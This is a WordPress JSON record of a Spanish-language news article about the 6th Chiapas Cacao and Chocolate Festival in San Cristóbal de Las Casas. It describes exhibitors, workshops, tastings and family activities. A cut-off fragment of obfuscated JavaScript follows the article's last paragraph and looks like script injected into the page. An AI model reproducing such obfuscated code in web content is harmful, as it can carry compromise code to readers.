{"id":17671,"date":"2024-09-04T03:19:28","date_gmt":"2024-09-04T03:19:28","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=17671"},"modified":"2024-09-04T03:19:29","modified_gmt":"2024-09-04T03:19:29","slug":"un-exito-el-6-festival-chiapaneco-del-cacao-y-chocolate","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=17671","title":{"rendered":"Un \u00e9xito el 6\u00b0 Festival Chiapaneco del Cacao y Chocolate"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"628\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2024\/09\/IMG-20240903-WA0015-1024x628.jpg\" alt=\"\" class=\"wp-image-17672\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2024\/09\/IMG-20240903-WA0015-1024x628.jpg 1024w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2024\/09\/IMG-20240903-WA0015-300x184.jpg 300w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2024\/09\/IMG-20240903-WA0015-768x471.jpg 768w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2024\/09\/IMG-20240903-WA0015.jpg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u00d3scar G\u00f3mez\/ Corresponsal<\/p>\n\n\n\n<p>3 de septiembre del 2024. San Crist\u00f3bal de Las Casas.- El 6\u00b0 Festival Chiapaneco del Cacao y Chocolate logr\u00f3 reunir a decenas de expositores, quienes presentaron una incre\u00edble diversidad de productos artesanales y gourmet, todos derivados del cacao y chocolate, homenajeando a uno de los ingredientes m\u00e1s emblem\u00e1ticos y tradicionales de la regi\u00f3n.<\/p>\n\n\n\n<p>Los productores y expositores se mantuvieron firmes, deleitando a los visitantes con sus creaciones, desde chocolates tradicionales hasta innovaciones culinarias que fusionaban sabores modernos con el legado milenario del cacao.<\/p>\n\n\n\n<p>&#8220;La expoventa fue un \u00e9xito rotundo, con cientos de asistentes que aprovecharon la oportunidad para adquirir productos \u00fanicos y disfrutar de las delicias que ofrec\u00eda el festival.<\/p>\n\n\n\n<p>El evento no solo fue una muestra gastron\u00f3mica, sino tambi\u00e9n educativa, con una serie de talleres impartidos por expertos que ense\u00f1aron t\u00e9cnicas de cocina y exploraron los m\u00faltiples usos del cacao en la gastronom\u00eda contempor\u00e1nea. Las conferencias ofrecieron una inmersi\u00f3n profunda en la historia y el cultivo del cacao, destacando su importancia en la cultura y econom\u00eda de Chiapas&#8221;, dijeron los organizadores.<\/p>\n\n\n\n<p>Los participantes pudieron aprender de primera mano sobre los or\u00edgenes prehisp\u00e1nicos del cacao, utilizado no solo como alimento, sino tambi\u00e9n como moneda y elemento central en rituales religiosos y las formas de prepararlo.<\/p>\n\n\n\n<p>Uno de los momentos m\u00e1s esperados fue la oportunidad de participar en catas de chocolate y cacao, donde los asistentes disfrutaron de diferentes variedades y aprendieron a apreciar los matices y caracter\u00edsticas \u00fanicas de este preciado manjar. El festival no dej\u00f3 de lado a las familias, ofreciendo una amplia gama de actividades infantiles y culturales que celebraron la riqueza de la cultura chiapaneca, llenando de alegr\u00eda y entretenimiento a ni\u00f1os y adultos por igual.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>\u00d3scar G\u00f3mez\/ Corresponsal 3 de septiembre del 2024. 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